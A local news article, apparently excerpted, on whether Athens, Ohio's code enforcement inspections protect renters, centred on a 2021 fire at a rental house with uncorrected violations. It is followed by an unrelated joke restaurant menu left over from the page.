The primary purpose of inspections is to ensure that rental units are safe and habitable. However, time constraints make it difficult for Athens’ three code officers to thoroughly inspect each property they are assigned to.
In 2017, the office reviewed its internal operations and updated the inspection procedures to maximize efficiency, according to the 2017 Annual Report. The efforts appeared to be successful, as the time it took to complete the inspection cycle was reduced from 18 months to 12 months.
Current renters question the ability of city code inspections to detect safety issues beyond the one-page checklist.
Athens Office of Code Enforcement and Community Development
The City of Athens Property Maintenance Checklist is one page long and presents inspection guidance such as “Refrigerator/ Stove” and “Fire Extinguisher.”
“Certainly in my experience, and in the experience of all the Athens tenants that I've ever spoken with, the typical, regularly scheduled inspection lasts less than two minutes and consists of inspectors just pushing the test buttons on smoke detectors,” renter and United Athens County Tenants activist Damon Krane said.
Jeremy Dixon, a previous landlord, contracter and renter in Athens County, purchased a house that had been registered as a rental property. He intended to fix it up and utilize it as a rental again, but decided not to because of limited safety oversight from the code enforcement inspection.
“I went to the code office and I got the compliance sheet,” Dixon said. “And the compliancy sheet contained a lot of cosmetics and did not address critical safety features. So, I got disillusioned with the Code Enforcement Office at that time.”
Different residential fire, similar uncorrected code violations
The volume of complaints, violations and reinspections statistically suggest that a large portion of renters in Athens are affected by reported unsafe housing conditions. Anecdotally and historically, inhabitants of rental housing have told a similar story.
Until spring of this year, a strand of yellow caution tape lay across the yard of 60 Central Ave., reminding Athens West Side residents of a structural fire that scorched the property’s interior on Oct. 14, 2021.
Isabel Nissley
60 Central Ave. was a rental property before a fire scorched the house during fall 2021. The dilapidated house remained uninhabited for approximately six months and is located a few blocks away from the Athens City Code Office.
Joe Timmerman
Yellow caution tape and orange traffic cones surround the empty plot of land at 60 Central Ave. on Tuesday, May 24, in Athens, Ohio.
Months before the fire, Athens City Code Officer Brian Zoulek conducted a routine inspection of 60 Central Ave. on June 17, 2021. He cited the rental property for 14 violations of the city code. Notations included “install ten year smoke detectors,” “clean out the basement from old brick” and “repair foundation walls as needed,” according to the Notice of Violation.
The house’s conditions were also noticed by its tenants and visitors, including a fellow renter on the West Side of Athens. He spoke on the condition of anonymity for fear of retribution against his friends who formerly rented the 60 Central Ave. property and himself.
“I was friends with the people who lived in that house and I've been in that house quite a few times,” the friend said. “And (the former tenants) had taken me down in the basement one time, and was like, ‘Look at this dude. Like, my house is gonna fall down.’  It was very unsafe.”
When Zoulek visited the property for a second time, three months after the initial 2021 inspection, he observed that the violations had not been corrected. Zoulek issued then-Property Owner John Rinaldi an Order to Comply on Sept. 8, 2021.
One month and six days later, the Athens Fire Department was dispatched to a report of a structure fire on Central Avenue. Just after midnight on Oct. 14, fires were found in the kitchen and attic of 60 Central Ave., according to an Oct. 19 Facebook post from the Athens Fire Department.
There are no records that indicate the code violations had been corrected at the time of the fire.
“Am I surprised? No,” the friend of the former 60 Central Ave. tenants said. “But couldn't Code have done something different?”
Authority of code enforcement officers
The Athens Code Enforcement Officers are tasked with guaranteeing safety within the scope of municipal code and zoning laws. On the state level, the Ohio Board of Building Standards has greater authority to address structural issues.
“The way it works is that typically you would have somebody who’s a certified building inspector who can do structural inspections,” Riggs said. “In smaller communities like Athens, we rely on the state building department to do that for us.”
A building inspector would have the training to evaluate electrical, plumbing and HVAC systems along with making sure the building is structurally sound and American Disabilities Act compliant.
Leadership in the city of Athens, including Riggs and Andy Stone, service safety director for the city, planned to explore the viability of having a building department in the city of Athens over the next year.
“It makes more work for us, but I think it would end up making the community safer to have an actual building department here where we could do (structural inspections) rather than relying on the state to do it,” Riggs said.
Reflecting on the Carriage Hill apartments, Spjeldnes wondered if a building inspector could have detected electrical problems and prevented the fire. She said she remembered an employee of the Athens Fire Department saying, “We couldn't have found it because it was literally inside the wall. But that brings up the point that in our community we don't have a building inspector. So if there were building inspectors that would not have passed.”
Here's the back of the building. You can feel the heat from here. pic.twitter.com/IMLTlEmjZ8
— Bailey Gallion (@baileygallion) February 26, 2017
While the Code Enforcement Office is not the sole entity overseeing rental safety in Athens, it is the most involved in ensuring compliance with the city code. However, several Athens renters, housing activists and local politicians believe that there are inadequate protections for tenant safety.
“Unfortunately, I think it's only a matter of time until we do see a loss of life if our housing code remains in the state that it's in and if city code enforcement remains in the state that it's in,” Krane said.


Menu
Quadruple Quarter Pounder
fries not included
$43.43
Barry's Beautiful Baby Back (B)ribs
with beans
$120
Pile of Arugula on Cheesy Bread
mostly just arugula
$45
Meat Lover's Ice Cream Sandwich
free with purchase of 100 or more burgers
$65
Order Summary
| Item |
Item Price |
|
| Subtotal |
|
| Tax |
|
| Total |
|